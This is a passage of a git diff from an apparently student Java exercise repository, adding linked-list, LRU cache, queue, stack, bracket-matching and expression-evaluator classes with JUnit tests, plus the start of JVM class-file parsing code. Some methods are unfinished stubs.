+		StringBuilder buffer = new StringBuilder();
+		Node node = last;
+		while(node.prev!=null&&node.prev.flag != "first"){
+			buffer.append(node.prev.pageNum);			
+			
+			node = node.prev;
+			
+			if(node.prev!=null&&node.prev.flag != "first"){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	public Object getFirstNode(){
+		return first.next.pageNum;
+	}
+	
+	/**
+	 * StackUtil 使用
+	 * @param len
+	 * @return
+	 */
+	public Object[] getElements(int len){
+		Object[] obj = new Object[len];
+		int i=0;
+		Node node = first;
+		while(node.next.flag != "last"){
+			obj[i] = node.next.pageNum;
+			node = node.next;
+			if (i == len-1){
+				return obj;
+			}
+			i++;
+		}
+		return null;
+	}
+	
+	/**
+	 * StackUtil 使用
+	 * @param obj
+	 * @param o
+	 */
+	public void remove(Object obj,Object o){
+		Node nodef = first;
+		while(nodef.next!=null&&!nodef.next.pageNum.equals(999)){
+			if (nodef.next.pageNum.equals(obj)){
+				nodef.next = nodef.next.next;	//先删除元素
+				nodef.next.prev = nodef;
+				length--;
+				break;
+			}
+			nodef = nodef.next;
+		}
+	}
+	
+	/**
+	 * Stack 使用
+	 * @return
+	 */
+	public int getLength(){
+		return length;
+	}
+	
+	/**
+	 * Stack 使用 pop
+	 * @return
+	 */
+	public Object remove(){		
+		length--;
+		Node n = last.prev;
+		last.prev = n.prev;
+		n.prev.next = last;
+		return n.pageNum;
+	}
+	
+	/**
+	 * Stack 使用 pop
+	 * @return
+	 */
+	public Object removeLow(){
+		length--;
+		Node n = first.next;
+		first.next = n.next;
+		n.next.prev = first;
+		return n.pageNum;
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrameTest.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..f511745d7a
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,29 @@
+package com.github.orajavac.coding2017.basic.linklist;
+
+import org.junit.Test;
+
+import junit.framework.Assert;
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LinkedList.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LinkedList.java
new file mode 100644
index 0000000000..4d07d4eb30
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LinkedList.java
@@ -0,0 +1,290 @@
+package com.github.orajavac.coding2017.basic.linklist;
+
+import com.github.orajavac.coding2017.basic.Iterator;
+import com.github.orajavac.coding2017.basic.List;
+
+public class LinkedList implements List,Iterator {
+	
+	public Node head;
+	
+	private int size=0;
+	
+	private static class Node{
+		Object data;
+		Node next;	
+	}
+	
+	public Iterator iterator(){
+		return null;
+	}
+	
+	public boolean hasNext(){
+		return false;
+	}
+	
+	public Object next(){
+		return null;
+	}
+	
+	public void add(Object o){
+		if (head == null){
+			head = new Node();
+			Node n = new Node();
+			n.data = o;
+			head.next = n;
+			size++;
+			head.data=size;
+		}else{
+			Node e = head.next;
+			while (e.next!=null){
+				e=e.next;
+			}
+			Node n = new Node();
+			n.data = o;
+			e.next=n;
+			size++;
+			head.data=size;
+		}
+	}
+	
+	public Object get(int index){
+		int len=Integer.parseInt(head.data.toString());
+		if (index>len||index<=0){
+			throw new RuntimeException("下标不存在"+index);
+		}
+		Node e = head;
+		int i=0;
+		while (e.next != null){
+			i++;
+			if (i == index){
+				return e.next.data;
+			}
+			e=e.next;
+		}
+		return null;
+	}
+	
+	public Object remove(int index){
+		int len=Integer.parseInt(head.data.toString());
+		if (index>len||index<=0){
+			throw new RuntimeException("下标不存在"+index);
+		}
+		Node e = head;
+		Object data = null;
+		int i=0;
+		while (e.next != null){
+			i++;
+			if (i == index){
+				len--;
+				head.data = len;
+				data = e.next.data;
+				e.next = e.next.next;
+				return data;
+			}
+			e=e.next;
+		}
+		return null;
+	}
+	
+	public Object removeFirst(){
+		return remove(1);
+	}
+	
+	public Object removeLast(){
+		return remove(Integer.parseInt(head.data.toString()));
+	}
+	
+	public void addFirst(Object o){
+		Node e = head.next;
+		Node n = new Node();
+		n.data=o;
+		n.next=e;
+		size++;
+		head.next=n;
+		head.data=size;
+	}
+	
+	public void addLast(Object o){
+		add(o);
+	}
+	
+	public int size(){
+		return Integer.parseInt(head.data.toString());
+	}
+	
+	public void listNode(){
+		Node n = head;
+		StringBuffer buffer = new StringBuffer();
+		while (n.next!=null){
+			buffer.append(n.next.data + " -> ");
+			n=n.next;
+		}
+		if(buffer.length()>0){
+			System.out.print(buffer.substring(0,buffer.length()-3));
+			System.out.println();
+		}
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public void reverse(){		
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public void remove(int i, int length){
+		if (i <= 0 || length<=0){
+			throw new RuntimeException("起始值、结束值都不能小于0等于");
+		}
+		int len = length + i;
+		if (len > size){
+			throw new RuntimeException("删除索引长度超过了链表长度");
+		}
+		Node e = head;
+		int y = 0;
+		while (e.next != null){
+			y++;
+			if (y == i){
+				Node n = e.next;
+				while (n!=null){
+					n = n.next;
+					if (y == length){
+						break;
+					}
+					y++;
+					n=n.next;
+				}
+			}
+			e=e.next;
+		}
+	}
+	
+	/**
+	 * 假定当前链表和list均包含已升序排列的整数
+	 * 从当前链表中取出那些list所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public int[] getElements(LinkedList list){
+		if (list==null||list.head==null){
+			throw new RuntimeException("集合没有初始化");
+		}
+		int[] elements = new int[Integer.parseInt(list.head.data.toString())];
+		Node l = list.head;
+		Node n = head;
+		int len = 0;
+		int i = 0;
+		while (l.next!=null){
+			len = 0;
+			n=head;
+			while(n.next!=null){
+				len++;
+				if(len==Integer.parseInt(l.next.data.toString())){
+					elements[i]=Integer.parseInt(n.next.data.toString());
+					i++;
+					break;
+				}
+				n=n.next;
+			}
+			l = l.next;
+		}
+		return elements;
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在list中出现的元素 
+
+	 * @param list
+	 */
+	
+	public void subtract(LinkedList list){
+		if (list==null||list.head==null){
+			throw new RuntimeException("集合没有初始化");
+		}
+		Node l = list.head;
+		Node n = head;
+		int i = 0;
+		while (l.next!=null){
+			n=head;
+			i=0;
+			while(n.next!=null){
+				i++;
+				if(n.next.data.equals(l.next.data)){
+					remove(i);
+					break;
+				}
+				n=n.next;
+			}
+			l = l.next;
+		}
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * 11->101->201->301->401->501->601->701
+	 * @param min
+	 * @param max
+	 */
+	public void removeRange(int min, int max){
+		if (min<=0||max<=0||min>max){
+			throw new RuntimeException("录入不正确："+min+","+max+" 应该大于min且小于max的元素");
+		}
+		Node n = head;
+		int data = 0;
+		Node p = null;
+		while(n.next != null){
+			data=Integer.parseInt(n.next.data.toString());	//11
+			if(data>min&&data<max){
+				p = n.next.next;	//101
+				n.next = p;
+				size--;
+			}else{
+				n = n.next;
+			}
+		}
+		head.data=size;
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null; 
+	}
+
+	public void add(int index, Object o) {
+		// TODO Auto-generated method stub
+		
+	}
+	
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/CircleQueue.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..b26e98cd5d
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/CircleQueue.java
@@ -0,0 +1,50 @@
+package com.github.orajavac.coding2017.basic.queue;
+
+public class CircleQueue <E>{
+private final static int DEFAULT_SIZE = 8;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+	
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+	
+	public boolean isEmpty() {
+		if (front==0&&rear==0){
+			return true;
+		}
+		return false;
+        
+    }
+
+    public int size() {
+        return DEFAULT_SIZE;
+    }
+
+    
+
+    public void enQueue(E data) {
+    	if (rear==DEFAULT_SIZE&&elementData[0]==null){
+    		rear = 0;
+    		elementData[rear]=data;
+    	}else if (elementData[rear]==null){
+			elementData[rear]=data;
+		}else{
+			throw new RuntimeException("队列已满");
+		}
+    	rear++;
+    }
+
+    @SuppressWarnings("unchecked")
+	public E deQueue() {
+    	Object o = elementData[front];
+    	elementData[front] = null;
+    	front++;
+    	if (front == DEFAULT_SIZE){
+    		front = 0;
+    	}
+        return (E)o;
+    }
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/Josephus.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/Josephus.java
new file mode 100644
index 0000000000..05e692a8aa
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/Josephus.java
@@ -0,0 +1,40 @@
+package com.github.orajavac.coding2017.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+		CircleQueue<Integer> q = new CircleQueue<Integer>();
+		List<Integer> l = new ArrayList<Integer>();
+		for (int i=1;i<=n;i++){
+			q.enQueue(i);
+		}
+		for (int i=0;i<n;i++){
+			for (int j=0;j<m;j++){
+				Integer c = q.deQueue();
+				if (j==m-1){
+					l.add(c);
+				}else{
+					q.enQueue(c);
+				}
+			}
+		}
+		return l;
+	}
+	
+	public static void main(String[] args){
+		List<Integer> l = execute(8,4);
+		for (int i=0;i<l.size();i++){
+			System.out.print(l.get(i)+" ");
+		}
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/QueueWithTwoStacks.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..86eba777d8
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,42 @@
+package com.github.orajavac.coding2017.basic.queue;
+
+import java.util.Stack;
+
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+    public boolean isEmpty() {
+        return stack1.size()==0;
+    }
+
+
+    
+    public int size() {
+        return stack1.size();   
+    }
+
+
+
+    public void enQueue(E item) {
+    	int len1 = stack1.size();
+    	for (int i=0;i<len1;i++){
+    		stack2.push(stack1.pop());
+    	}
+    	stack1.push(item);
+    	int len2 = stack2.size();
+    	for (int i=0;i<len2;i++){
+    		stack1.push(stack2.pop());
+    	}
+    }
+
+    public E deQueue() {
+        return stack1.size()!=0?stack1.pop():null;
+    }
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/Stack.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/Stack.java
new file mode 100644
index 0000000000..499b4a33e4
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/Stack.java
@@ -0,0 +1,49 @@
+package com.github.orajavac.coding2017.basic.stack;
+
+import com.github.orajavac.coding2017.basic.linklist.LRUPageFrame;
+
+public class Stack {
+	
+	private LRUPageFrame l;
+	
+	public Stack(int capacity){
+		l = new LRUPageFrame(capacity);
+	}
+	
+	public Stack(){
+		l = new LRUPageFrame();
+	}
+	
+	public void push(Object o){
+		//l.addFirst(o);
+		l.add(o);
+	}
+	
+	public Object pop(){
+		return l.remove();
+	}
+	
+	public Object popLow(){
+		return l.removeLow();
+	}
+	
+	public String toString(){
+		return l.lastToString();
+	}
+	
+	public Object[] getElements(int len){
+		return l.getElements(len);
+	}
+	
+	public void remove(Object obj){
+		l.remove(obj, null);
+	}
+	
+	public Object getFirstNode(){
+		return l.getFirstNode();
+	}
+	
+	public int length(){
+		return l.getLength();
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/StackUtil.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..178d595a91
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/StackUtil.java
@@ -0,0 +1,102 @@
+package com.github.orajavac.coding2017.basic.stack;
+
+public class StackUtil {
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		System.out.println(s.toString());
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		s.remove(o);
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		return s.getElements(len);
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(Stack s,String str){
+		for (int i=0;i<str.length();i++){
+			char c1 = str.charAt(i);
+			if(isLeftCase(c1)){
+				s.push(c1);	//左符号压栈
+			}else if (isRightCase(c1)){
+				Object obj = s.getFirstNode();
+				char[] c = obj.toString().toCharArray();
+				if(isCase(c[0],c1)){	//左、右匹配
+					s.remove(obj);
+				}else{
+					return false;
+				}
+			}
+		}
+		return true;
+	}
+	
+	/**
+	 * StackUtil 使用
+	 * @param c1
+	 * @param c2
+	 * @return
+	 */
+	public static boolean isCase(char c1,char c2){
+	    if(c1=='('&&c2==')')
+	        return true;
+	    if(c1=='{'&&c2=='}')
+	        return true;
+	    if(c1=='['&&c2==']')
+	        return true;
+	    return false;//其他的都返回false
+	};
+	
+	/**
+	 * StackUtil 使用
+	 * @param c1
+	 * @return
+	 */
+	public static boolean isLeftCase(char c1){
+		if(c1=='(')
+	        return true;
+	    if(c1=='{')
+	        return true;
+	    if(c1=='[')
+	        return true;
+	    return false;//其他的都返回false
+	};
+	
+	/**
+	 * StackUtil 使用
+	 * @param c1
+	 * @return
+	 */
+	public static boolean isRightCase(char c1){
+		if(c1==')')
+	        return true;
+	    if(c1=='}')
+	        return true;
+	    if(c1==']')
+	    	return true;
+	    return false;//其他的都返回false
+	};
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExpr.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..a6b4e86a38
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,95 @@
+package com.github.orajavac.coding2017.basic.stack.expr;
+
+import java.util.HashMap;
+import java.util.Map;
+import com.github.orajavac.coding2017.basic.stack.Stack;
+import com.github.orajavac.coding2017.jvm.util.Util;
+
+public class InfixExpr {
+	
+	String expr = null;
+	
+	private final String ADD = "+";
+	
+	private final String SUB = "-";
+	
+	private final String MUL = "*";
+	
+	private final String DIV = "/";
+	
+	private Map<String,Integer> operator = new HashMap<String,Integer>();
+	
+	private Stack oper = new Stack();
+	
+	private Stack num = new Stack();
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+		this.operator.put(this.ADD,1);
+		this.operator.put(this.SUB,1);
+		this.operator.put(this.MUL,2);
+		this.operator.put(this.DIV,2);
+	}
+
+	public float evaluate() {
+		Object[] obj = Util.parseOperNumToArray(this.expr);
+		String key = null;
+		for (int i=0;i<obj.length;i++){
+			key = obj[i].toString();
+			if (this.operator.containsKey(key)){
+				pushOper(key);
+			}else{
+				num.push(key);
+			}
+		}
+		//处理栈里剩余运算符和数字
+		int len = oper.length();
+		while (len!=0){
+			operation(oper.pop(),num.pop(),num.pop());
+			len--;
+		}
+		//System.out.println("运算式结果: "+Float.parseFloat(num.pop().toString()));
+		return Float.parseFloat(num.pop().toString());
+	}
+	
+	public void pushOper(Object key){
+		//即将放入运算符与栈顶运算符比较		3-4*5+2
+		int y = oper.length();
+		for (int i=0;i<y;i++){
+			Object op = oper.pop();
+			int level1 = this.operator.get(op);
+			int level2 = this.operator.get(key);
+			if (level1 > level2){	//2+3*4+5	栈顶运算符大于即将入压运算符
+				operation(op,num.pop(),num.pop());
+			}else if (level1 == level2){	//3-20+2	栈顶运算符等于即将入压运算符
+				operation(op,num.pop(),num.pop());
+			}else{
+				oper.push(op);	//把刚刚弹出，再压入栈
+				oper.push(key);
+			}
+		}
+		if (oper.length() == 0){
+			oper.push(key);
+		}
+	}
+	
+	public void operation(Object oper,Object num1,Object num2){
+		Integer result = null;
+		if(oper.equals("*")){
+			result = Integer.parseInt(num1.toString()) * Integer.parseInt(num2.toString());
+			num.push(result);
+		}
+		if(oper.equals("/")){
+			result = Integer.parseInt(num2.toString()) / Integer.parseInt(num1.toString());
+			num.push(result);
+		}
+		if(oper.equals("+")){
+			result = Integer.parseInt(num1.toString()) + Integer.parseInt(num2.toString());
+			num.push(result);
+		}
+		if(oper.equals("-")){
+			result = Integer.parseInt(num2.toString()) - Integer.parseInt(num1.toString());
+			num.push(result);
+		}
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExprTest.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..733f48c7bb
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,55 @@
+package com.github.orajavac.coding2017.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class InfixExprTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2+6");
+			Assert.assertEquals(106.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3-4*5+2");
+			Assert.assertEquals(-15, expr.evaluate(), 0.001f);
+		}
+		
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExpr.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..c3528d0abe
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,81 @@
+package com.github.orajavac.coding2017.basic.stack.expr;
+
+import java.util.HashMap;
+import java.util.Map;
+import com.github.orajavac.coding2017.basic.stack.Stack;
+import com.github.orajavac.coding2017.jvm.util.Util;
+
+/*
+ * 后序表达式
+ */
+public class PostfixExpr {
+	
+	String expr = null;
+	
+	private final String ADD = "+";
+	
+	private final String SUB = "-";
+	
+	private final String MUL = "*";
+	
+	private final String DIV = "/";
+	
+	private Map<String,Integer> operator = new HashMap<String,Integer>();
+	
+	private Stack num = new Stack();
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+		this.operator.put(this.ADD,1);
+		this.operator.put(this.SUB,1);
+		this.operator.put(this.MUL,2);
+		this.operator.put(this.DIV,2);
+	}
+
+	public float evaluate() {
+		String[] expr = Util.parseOperatorToArray(this.expr);
+		for (int i=0;i<expr.length;i++){
+			if (this.operator.containsKey(expr[i])){
+				Float f1 = Float.parseFloat(num.pop().toString());	//6
+				Float f2 = Float.parseFloat(num.pop().toString());	//10
+				if(isOperator(expr[i].charAt(0))){	//对于减法，f1,f2互换
+					float f3 = f2;
+					f2 = f1;
+					f1 = f3;					
+				}
+				num.push(calculate(expr[i],f1,f2));
+			}else{
+				num.push(expr[i]);
+			}
+		}
+		return Float.parseFloat(num.pop().toString());
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+	
+	private boolean isOperator(char c1){
+		if(c1=='+')
+	        return true;
+	    if(c1=='/')
+	        return true;
+	    if(c1=='-')
+	    	return true;
+	    if(c1=='*')
+	    	return true;
+	    return false;//其他的都返回false
+	};
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExprTest.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..91be8dae70
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,35 @@
+ package com.github.orajavac.coding2017.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PostfixExprTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288.0, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1 - 3 * + 10 2 / +");
+			Assert.assertEquals(20.0, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54.0, expr.evaluate(),0.0f);
+		}
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExpr.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..c802efc4e0
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,68 @@
+package com.github.orajavac.coding2017.basic.stack.expr;
+
+import java.util.HashMap;
+import java.util.Map;
+import com.github.orajavac.coding2017.jvm.util.Util;
+import com.github.orajavac.coding2017.basic.stack.Stack;
+
+/*
+ * 前序表达式
+ */
+public class PrefixExpr {
+	
+	String expr = null;
+	
+	private final String ADD = "+";
+	
+	private final String SUB = "-";
+	
+	private final String MUL = "*";
+	
+	private final String DIV = "/";
+	
+	private Map<String,Integer> operator = new HashMap<String,Integer>();
+	
+	private Stack num = new Stack();
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+		this.operator.put(this.ADD,1);
+		this.operator.put(this.SUB,1);
+		this.operator.put(this.MUL,2);
+		this.operator.put(this.DIV,2);
+	}
+
+	public float evaluate() {
+		String[] expr = Util.parseOperatorToArray(this.expr);
+		/**
+		 * 4*2 + 6+9*2/3 -8
+		 * - + + 6 / *2 9 3 * 4 2 8
+		 */
+		for (int i=expr.length-1;i>=0;i--){
+			if (this.operator.containsKey(expr[i])){
+				num.push(calculate(expr[i],
+						Float.parseFloat(num.pop().toString()),
+						Float.parseFloat(num.pop().toString())));
+			}else{
+				num.push(expr[i]);
+			}
+		}
+		return Float.parseFloat(num.pop().toString());
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExprTest.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..a27e05caa9
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,42 @@
+package com.github.orajavac.coding2017.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PrefixExprTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3 * 4 5");
+			Assert.assertEquals(26.0, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("- + + 6 / * 2 9 3 * 4 2 8");
+			Assert.assertEquals(12.0, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29.0, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16.0, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/AttributeInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..77ea35c265
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.github.orajavac.coding2017.jvm.attr;
+
+public abstract class AttributeInfo {
+
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/CodeAttr.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..acffda0f88
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/CodeAttr.java
@@ -0,0 +1,93 @@
+package com.github.orajavac.coding2017.jvm.attr;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
